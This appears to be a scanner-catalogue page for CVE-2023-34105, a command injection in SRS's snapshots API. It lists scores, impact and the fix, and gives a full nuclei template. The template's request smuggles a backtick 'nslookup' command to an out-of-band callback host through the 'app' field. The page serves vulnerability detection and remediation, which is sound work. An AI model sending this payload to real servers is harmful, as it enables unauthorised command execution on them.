SRS - Command Injection

highseverity

7.5CVSS score

8.7%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

SRS's v5.0.137~v5.0.156, v6.0.18~v6.0.47 api-server server is vulnerable to a drive-by command injection.

Impact

Unauthenticated attackers with user interaction can inject commands through the app parameter in the snapshots API to execute arbitrary commands on the SRS streaming server.

Fix

Update SRS (Simple Realtime Server) to a version newer than v5.0.156 or v6.0.47 that properly sanitizes input in the api-server snapshots endpoint.

How to confirm it

Send: POST /api/v1/snapshots
Positive when: contains in interactsh_protocol "dns" AND contains "{\"code\":" and "data\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-34105 -u <target>

The full check

id: CVE-2023-34105

info:
  name: SRS - Command Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    SRS's v5.0.137~v5.0.156, v6.0.18~v6.0.47 api-server server is vulnerable to a drive-by command injection.
  impact: |
    Unauthenticated attackers with user interaction can inject commands through the app parameter in the snapshots API to execute arbitrary commands on the SRS streaming server.
  remediation: |
    Update SRS (Simple Realtime Server) to a version newer than v5.0.156 or v6.0.47 that properly sanitizes input in the api-server snapshots endpoint.
  reference:
    - https://github.com/ossrs/srs/security/advisories/GHSA-vpr5-779c-cx62
    - https://github.com/ossrs/srs/blob/1d11d02e4b82fc3f37e4b048cff483b1581482c1/trunk/research/api-server/server.go#L761
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2023-34105
    cwe-id: CWE-77,CWE-78
    epss-score: 0.08689
    epss-percentile: 0.95171
    cpe: cpe:2.3:a:ossrs:simple_realtime_server:*:*:*:*:*:*:*:*
  metadata:
    vendor: ossrs
    product: simple_realtime_server
    shodan-query: http.favicon.hash:1386054408
    verified: true
    max-request: 1
  tags: cve,cve2023,srs,rce,oast,vkev,vuln

http:
  - raw:
      - |
        POST /api/v1/snapshots HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"action":  "on_publish", "app":  "`nslookup {{interactsh-url}}`", "stream":"foo", "vhost": "foo", "client_id":"foo"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '{"code":'
          - 'data":'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from